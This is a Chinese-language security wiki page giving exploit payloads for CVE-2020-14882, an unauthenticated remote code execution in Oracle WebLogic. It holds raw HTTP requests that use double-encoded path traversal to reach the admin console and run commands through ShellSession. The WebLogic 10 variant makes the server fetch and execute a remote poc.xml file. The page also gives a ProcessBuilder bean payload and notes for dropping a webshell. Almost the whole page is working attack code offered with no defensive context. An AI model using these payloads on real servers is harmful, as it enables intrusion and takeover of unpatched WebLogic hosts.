menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right All_wiki chevron_right --Vulnerability-main chevron_right CVE-2020–14882 Weblogic 未经授权绕过RCE.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    CVE-2020–14882 Weblogic 未经授权绕过RCE.md
    2.83 KB / 2021-05-21 09:14:38
        # CVE-2020–14882 Weblogic 未经授权绕过RCE
    
    
    ShellSession
    
    
    ```
    coherence-rest.jar#com.tangosol.coherence.mvel2.sh.ShellSession
    
    ```
    
    Payload:
    
    
    ```
    POST /console/images/%252E%252E%252Fconsole.portal HTTP/1.1
    Host: 172.16.242.134:7001
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 117
    
    _nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime('calc.exe');");
    ```
    
    Getshell
    
    
    ```
    ROOT_PATH= C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\
    
    Shell_path= ../../../wlserver/server/lib/consoleapp/webapp/images/xxx.jsp
    ```
    
    **weblogic 12**
    
    
    
    ```
    GET /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime().exec(%27calc.exe%27);%22); HTTP/1.1
    Host: 192.168.3.189:7001
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: ADM
    Upgrade-Insecure-Requests: 1
    ```
    
    
    
    **weblogic 10**
    
    
    
    ```
    GET /console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.8.142/poc.xml); HTTP/1.1
    Host: 192.168.3.189:7001
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: ADM
    Upgrade-Insecure-Requests: 1
    ```
    
    
    
    **poc.xml:**
    
    
    
    ```
    <?xml version="1.0" encoding="UTF-8" ?>
        <beans xmlns="http://www.springframework.org/schema/beans"
           xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
           xsi:schemaLocation="
         [url]http://www.springframework.org/schema/beans[/url] [url]http://www.springframework.org/schema/beans/spring-beans.xsd[/url]">
            <bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
                <constructor-arg >
                <list>
                    <value>sh</value>
                    <value>-c</value>
                    <value><![CDATA[touch /tmp/10poc1]]></value>
                </list>
                </constructor-arg>
            </bean>
        </beans>
    ```
    
    
    
    
    
    links
    file_download